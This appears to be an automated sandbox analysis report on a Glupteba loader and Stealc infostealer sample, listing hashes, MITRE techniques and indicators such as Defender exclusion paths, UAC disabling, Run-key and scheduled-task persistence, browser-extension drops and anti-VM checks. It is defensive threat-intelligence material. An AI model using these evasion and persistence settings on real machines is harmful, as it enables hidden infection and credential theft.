glupteba | 97655f76dbd6e322aea5ecf9dcc82420ec25fb67c6fec0a6febbcd7e8b632e53

Analysis

max time kernel
149s
max time network
151s
platform
windows11-21h2_x64
resource
win11-20240412-en
resource tags

arch:x64arch:x86image:win11-20240412-enlocale:en-usos:windows11-21h2-x64system
submitted
23/04/2024, 10:56

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
97655f76dbd6e322aea5ecf9dcc82420ec25fb67c6fec0a6febbcd7e8b632e53.exe
Size 851KB
Sample240423-m156vsff25
SHA256 97655f76dbd6e322aea5ecf9dcc82420ec25fb67c6fec0a6febbcd7e8b632e53
MD5 413a2ef652af005857952eaf1d717f72
SHA1 59d552791f8f7a915ca22ef20472237f93a82590
SHA512 016bb4bd52cd2f5debeed370ee366bc8f32573437b7cbfd2bc5f9fa904956d66dc100dd0aa2b8193b55238722aeec412e700ab675a87de91e3f9503f9bddf18c
SSDEEP 24576:SAQzZjtaG/wO8c4A9bSkhhizy5VdsWTdxS1yeA:+ZtaKw5s9bSsim5VmkQyv
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

glupteba stealc discovery dropper evasion loader persistence rootkit spyware stealer themida trojan upx

Malware Config

Signatures

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba payload 11 IoCs

resource	yara_rule
behavioral2/memory/3828-76-0x0000000006570000-0x0000000006E5B000-memory.dmp	family_glupteba
behavioral2/memory/1924-95-0x00000000065F0000-0x0000000006EDB000-memory.dmp	family_glupteba
behavioral2/memory/3828-277-0x0000000000400000-0x0000000004426000-memory.dmp	family_glupteba
behavioral2/memory/1924-282-0x0000000000400000-0x0000000004426000-memory.dmp	family_glupteba
behavioral2/memory/332-399-0x0000000000400000-0x0000000004426000-memory.dmp	family_glupteba
behavioral2/memory/3352-402-0x0000000000400000-0x0000000004426000-memory.dmp	family_glupteba
behavioral2/memory/332-517-0x0000000000400000-0x0000000004426000-memory.dmp	family_glupteba
behavioral2/memory/1652-606-0x0000000000400000-0x0000000004426000-memory.dmp	family_glupteba
behavioral2/memory/1652-736-0x0000000000400000-0x0000000004426000-memory.dmp	family_glupteba
behavioral2/memory/1652-770-0x0000000000400000-0x0000000004426000-memory.dmp	family_glupteba
behavioral2/memory/1652-851-0x0000000000400000-0x0000000004426000-memory.dmp	family_glupteba

Modifies firewall policy service 2 TTPs 1 IoCs

evasion

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\FirewallRules\C:\ = "1"	NRac57mri7cl0dHPW1FZloc6.exe

Stealc
Stealc is an infostealer written in C++.
stealer stealc

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	97655f76dbd6e322aea5ecf9dcc82420ec25fb67c6fec0a6febbcd7e8b632e53.exe

Windows security bypass 2 TTPs 7 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	qLgaAqw7EpH35Xsfdv9RNmRo.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	qLgaAqw7EpH35Xsfdv9RNmRo.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	qLgaAqw7EpH35Xsfdv9RNmRo.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ = "1"	NRac57mri7cl0dHPW1FZloc6.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	97655f76dbd6e322aea5ecf9dcc82420ec25fb67c6fec0a6febbcd7e8b632e53.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\97655f76dbd6e322aea5ecf9dcc82420ec25fb67c6fec0a6febbcd7e8b632e53.exe = "0"	97655f76dbd6e322aea5ecf9dcc82420ec25fb67c6fec0a6febbcd7e8b632e53.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	qLgaAqw7EpH35Xsfdv9RNmRo.exe

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	NRac57mri7cl0dHPW1FZloc6.exe

Blocklisted process makes network request 1 IoCs

flow	pid	Process
69	4392	rundll32.exe

Downloads MZ/PE file

Modifies Windows Firewall 2 TTPs 2 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
3664	netsh.exe
4792	netsh.exe

Checks BIOS information in registry 2 TTPs 5 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	NRac57mri7cl0dHPW1FZloc6.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	NRac57mri7cl0dHPW1FZloc6.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-801878912-692986033-442676226-1000\Control Panel\International\Geo\Nation	VCbtqsa.exe
Key value queried	\REGISTRY\USER\S-1-5-21-801878912-692986033-442676226-1000\Control Panel\International\Geo\Nation	UfuelGE.exe

Drops startup file 8 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\rBGgDI3izeDFF35oCWR51EXm.bat	regasm.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SF4y095cDOguIyC1nYFUdC6N.bat	regasm.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\8M6i6spL3wEwyVMhijQsoX8d.bat	regasm.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SIF4DcTwIK0LMOUMuDRacj1I.bat	regasm.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ggRv9ud4VWcZG5MnVzz8HMHd.bat	regasm.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\HUfVM0QD31YTU6jwyyfHS3Ra.bat	regasm.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\r7iQ84wQ9EvsM04YrfAsBOY9.bat	regasm.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\P2ZyVTMKAKMVIr5SBzRcXIie.bat	regasm.exe

Executes dropped EXE 31 IoCs

pid	Process
2416	Otznutjm0eiG6whvJrjGoUXc.exe
3828	qLgaAqw7EpH35Xsfdv9RNmRo.exe
1924	1UrrRz0s9XsDwfGhiB5WokUn.exe
4824	u1v4.0.exe
332	1UrrRz0s9XsDwfGhiB5WokUn.exe
3352	qLgaAqw7EpH35Xsfdv9RNmRo.exe
3600	Qg_Appv5.exe
3204	u1v4.1.exe
1652	csrss.exe
1504	UniversalInstaller.exe
3064	UniversalInstaller.exe
3612	O1U8QYaajTS0BZPISM3FxE0K.exe
3856	NRac57mri7cl0dHPW1FZloc6.exe
3232	Install.exe
1720	injector.exe
5008	lB2G1RrFYTBuxYDMBDNXqJ8n.exe
3216	lB2G1RrFYTBuxYDMBDNXqJ8n.exe
908	lB2G1RrFYTBuxYDMBDNXqJ8n.exe
2336	lB2G1RrFYTBuxYDMBDNXqJ8n.exe
4836	lB2G1RrFYTBuxYDMBDNXqJ8n.exe
1420	Assistant_109.0.5097.45_Setup.exe_sfx.exe
4804	assistant_installer.exe
5104	assistant_installer.exe
1648	windefender.exe
3116	windefender.exe
2408	BTfyksI.exe
4904	WpkscNvYQek7m1wpic7BQ6Z8.exe
1140	Install.exe
3556	VCbtqsa.exe
388	RQEkPGX.exe
4436	UfuelGE.exe

Loads dropped DLL 13 IoCs

pid	Process
1504	UniversalInstaller.exe
3064	UniversalInstaller.exe
5008	lB2G1RrFYTBuxYDMBDNXqJ8n.exe
3216	lB2G1RrFYTBuxYDMBDNXqJ8n.exe
908	lB2G1RrFYTBuxYDMBDNXqJ8n.exe
2336	lB2G1RrFYTBuxYDMBDNXqJ8n.exe
4836	lB2G1RrFYTBuxYDMBDNXqJ8n.exe
4804	assistant_installer.exe
4804	assistant_installer.exe
5104	assistant_installer.exe
5104	assistant_installer.exe
4392	rundll32.exe
1020	rundll32.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Themida packer 9 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral2/files/0x000100000002aa3d-451.dat	themida
behavioral2/memory/3856-474-0x00007FF7B8990000-0x00007FF7B90D5000-memory.dmp	themida
behavioral2/memory/3856-481-0x00007FF7B8990000-0x00007FF7B90D5000-memory.dmp	themida
behavioral2/memory/3856-484-0x00007FF7B8990000-0x00007FF7B90D5000-memory.dmp	themida
behavioral2/memory/3856-485-0x00007FF7B8990000-0x00007FF7B90D5000-memory.dmp	themida
behavioral2/memory/3856-486-0x00007FF7B8990000-0x00007FF7B90D5000-memory.dmp	themida
behavioral2/memory/3856-488-0x00007FF7B8990000-0x00007FF7B90D5000-memory.dmp	themida
behavioral2/memory/3856-499-0x00007FF7B8990000-0x00007FF7B90D5000-memory.dmp	themida
behavioral2/memory/3856-498-0x00007FF7B8990000-0x00007FF7B90D5000-memory.dmp	themida

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/1648-861-0x0000000000400000-0x00000000008DF000-memory.dmp	upx

Windows security modification 2 TTPs 8 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions	97655f76dbd6e322aea5ecf9dcc82420ec25fb67c6fec0a6febbcd7e8b632e53.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\97655f76dbd6e322aea5ecf9dcc82420ec25fb67c6fec0a6febbcd7e8b632e53.exe = "0"	97655f76dbd6e322aea5ecf9dcc82420ec25fb67c6fec0a6febbcd7e8b632e53.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	qLgaAqw7EpH35Xsfdv9RNmRo.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	qLgaAqw7EpH35Xsfdv9RNmRo.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	qLgaAqw7EpH35Xsfdv9RNmRo.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	qLgaAqw7EpH35Xsfdv9RNmRo.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ = "1"	NRac57mri7cl0dHPW1FZloc6.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	97655f76dbd6e322aea5ecf9dcc82420ec25fb67c6fec0a6febbcd7e8b632e53.exe

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-801878912-692986033-442676226-1000\Software\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\""	qLgaAqw7EpH35Xsfdv9RNmRo.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-801878912-692986033-442676226-1000\Software\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\""	1UrrRz0s9XsDwfGhiB5WokUn.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-801878912-692986033-442676226-1000\Software\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\""	csrss.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 3 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	97655f76dbd6e322aea5ecf9dcc82420ec25fb67c6fec0a6febbcd7e8b632e53.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	NRac57mri7cl0dHPW1FZloc6.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	97655f76dbd6e322aea5ecf9dcc82420ec25fb67c6fec0a6febbcd7e8b632e53.exe

Drops Chrome extension 3 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\manifest.json	VCbtqsa.exe
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\manifest.json	VCbtqsa.exe
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\manifest.json	UfuelGE.exe

Drops desktop.ini file(s) 1 IoCs

description	ioc	Process
File opened for modification	C:\$RECYCLE.BIN\S-1-5-18\desktop.ini	VCbtqsa.exe

Enumerates connected drives 3 TTPs 4 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\D:	lB2G1RrFYTBuxYDMBDNXqJ8n.exe
File opened (read-only)	\??\F:	lB2G1RrFYTBuxYDMBDNXqJ8n.exe
File opened (read-only)	\??\D:	lB2G1RrFYTBuxYDMBDNXqJ8n.exe
File opened (read-only)	\??\F:	lB2G1RrFYTBuxYDMBDNXqJ8n.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
1	pastebin.com
2	pastebin.com

Looks up external IP address via web service 4 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
18	api.myip.com
20	ipinfo.io
30	api.myip.com
31	ipinfo.io

Manipulates WinMonFS driver. 1 IoCs

Roottkits write to WinMonFS to hide directories/files from being detected.

rootkit evasion

description	ioc	Process
File opened for modification	\??\WinMonFS	csrss.exe

Drops file in System32 directory 45 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA	VCbtqsa.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\System32\GroupPolicy\gpt.ini	NRac57mri7cl0dHPW1FZloc6.exe
File created	C:\Windows\System32\GroupPolicy\Machine\Registry.pol	NRac57mri7cl0dHPW1FZloc6.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751	VCbtqsa.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE	VCbtqsa.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies	VCbtqsa.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	VCbtqsa.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	BTfyksI.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\History\History.IE5	VCbtqsa.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F3258A5B11F1178F530EE7A0197D8F15	VCbtqsa.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5	VCbtqsa.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F3258A5B11F1178F530EE7A0197D8F15	VCbtqsa.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\265C0DEB29181DD1891051371C5F863A_F035812844FEE93DCDCC1CD3A7F24400	VCbtqsa.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\System32\GroupPolicy\GPT.INI	NRac57mri7cl0dHPW1FZloc6.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\system32\GroupPolicy\gpt.ini	BTfyksI.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	VCbtqsa.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	VCbtqsa.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\265C0DEB29181DD1891051371C5F863A_1D54DE53BDE89F59AF362E74369EB397	VCbtqsa.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\265C0DEB29181DD1891051371C5F863A_1D54DE53BDE89F59AF362E74369EB397	VCbtqsa.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751	VCbtqsa.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content	VCbtqsa.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\265C0DEB29181DD1891051371C5F863A_F035812844FEE93DCDCC1CD3A7F24400	VCbtqsa.exe
File opened for modification	C:\Windows\System32\GroupPolicy	NRac57mri7cl0dHPW1FZloc6.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA	VCbtqsa.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\A16C6C16D94F76E0808C087DFC657D99_FAD4FA4BE5EA6E868132040E668F6C95	VCbtqsa.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\A16C6C16D94F76E0808C087DFC657D99_FAD4FA4BE5EA6E868132040E668F6C95	VCbtqsa.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	UfuelGE.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft	VCbtqsa.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache	VCbtqsa.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData	VCbtqsa.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
3856	NRac57mri7cl0dHPW1FZloc6.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 616 set thread context of 2380	616	97655f76dbd6e322aea5ecf9dcc82420ec25fb67c6fec0a6febbcd7e8b632e53.exe	88
PID 3064 set thread context of 904	3064	UniversalInstaller.exe	141
PID 904 set thread context of 4968	904	cmd.exe	172

Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 2 IoCs

Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\VBoxMiniRdrDN	1UrrRz0s9XsDwfGhiB5WokUn.exe
File opened (read-only)	\??\VBoxMiniRdrDN	qLgaAqw7EpH35Xsfdv9RNmRo.exe

Drops file in Program Files directory 25 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\DUGaRsFaSnqjC\gjqUqPX.xml	VCbtqsa.exe
File created	C:\Program Files (x86)\ByWuwrOBU\THYZoM.dll	UfuelGE.exe
File created	C:\Program Files (x86)\RVqmAwyyxwiU2\xdNTLFG.xml	UfuelGE.exe
File created	C:\Program Files (x86)\ZNFwAtDdLFAMCeemzDR\BFuRDhb.xml	UfuelGE.exe
File created	C:\Program Files (x86)\RVqmAwyyxwiU2\STvHWYFZWorMz.dll	UfuelGE.exe
File created	C:\Program Files (x86)\ZNFwAtDdLFAMCeemzDR\qlQDfMu.xml	VCbtqsa.exe
File created	C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi	UfuelGE.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\omni.ja	VCbtqsa.exe
File created	C:\Program Files (x86)\ByWuwrOBU\PpiHwYq.xml	VCbtqsa.exe
File created	C:\Program Files (x86)\ARTXeDTAxvUn\zSdDCvH.dll	VCbtqsa.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi	UfuelGE.exe
File created	C:\Program Files (x86)\ByWuwrOBU\BxXtXE.dll	VCbtqsa.exe
File created	C:\Program Files (x86)\ZNFwAtDdLFAMCeemzDR\VmbLiNq.dll	VCbtqsa.exe
File created	C:\Program Files (x86)\ZNFwAtDdLFAMCeemzDR\KSXJVJo.dll	UfuelGE.exe
File created	C:\Program Files (x86)\RVqmAwyyxwiU2\RBDxnXotGXYEm.dll	VCbtqsa.exe
File created	C:\Program Files (x86)\RVqmAwyyxwiU2\XeAyGFf.xml	VCbtqsa.exe
File created	C:\Program Files (x86)\ARTXeDTAxvUn\JYjSvUt.dll	UfuelGE.exe
File created	C:\Program Files\Mozilla Firefox\browser\omni.ja.bak	VCbtqsa.exe
File created	C:\Program Files (x86)\ByWuwrOBU\iMTCnDE.xml	UfuelGE.exe
File created	C:\Program Files (x86)\DUGaRsFaSnqjC\wyYlxql.dll	UfuelGE.exe
File created	C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi	VCbtqsa.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi	VCbtqsa.exe
File created	C:\Program Files (x86)\DUGaRsFaSnqjC\NFvpJzb.dll	VCbtqsa.exe
File created	C:\Program Files (x86)\DUGaRsFaSnqjC\PkXMpKh.xml	UfuelGE.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\omni.ja.bak	VCbtqsa.exe

Drops file in Windows directory 13 IoCs

description	ioc	Process
File created	C:\Windows\rss\csrss.exe	1UrrRz0s9XsDwfGhiB5WokUn.exe
File created	C:\Windows\windefender.exe	csrss.exe
File created	C:\Windows\Tasks\qbSDwEgyNYPZlGA.job	schtasks.exe
File created	C:\Windows\Tasks\qbSDwEgyNYPZlGA.job	schtasks.exe
File opened for modification	C:\Windows\rss	1UrrRz0s9XsDwfGhiB5WokUn.exe
File opened for modification	C:\Windows\windefender.exe	csrss.exe
File created	C:\Windows\Tasks\BAnwxolbGpCzXNxkj.job	schtasks.exe
File created	C:\Windows\Tasks\bWycNackLSywaqkmgR.job	schtasks.exe
File created	C:\Windows\Tasks\QhciBzJOokLnyYZub.job	schtasks.exe
File created	C:\Windows\Tasks\BAnwxolbGpCzXNxkj.job	schtasks.exe
File created	C:\Windows\rss\csrss.exe	qLgaAqw7EpH35Xsfdv9RNmRo.exe
File created	C:\Windows\Tasks\bWycNackLSywaqkmgR.job	schtasks.exe
File opened for modification	C:\Windows\rss	qLgaAqw7EpH35Xsfdv9RNmRo.exe

Launches sc.exe 1 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3640	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 2 IoCs

pid	pid_target	Process	procid_target
1072	4824	WerFault.exe	101
3152	2416	WerFault.exe	93

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	u1v4.1.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	u1v4.1.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	u1v4.1.exe

Creates scheduled task(s) 1 TTPs 20 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
432	schtasks.exe
3336	schtasks.exe
3996	schtasks.exe
3108	schtasks.exe
4124	schtasks.exe
4112	schtasks.exe
2872	schtasks.exe
4520	schtasks.exe
4712	schtasks.exe
1916	schtasks.exe
916	schtasks.exe
484	schtasks.exe
2360	schtasks.exe
2716	schtasks.exe
4644	schtasks.exe
1044	schtasks.exe
1676	schtasks.exe
4732	schtasks.exe
1388	schtasks.exe
1768	schtasks.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
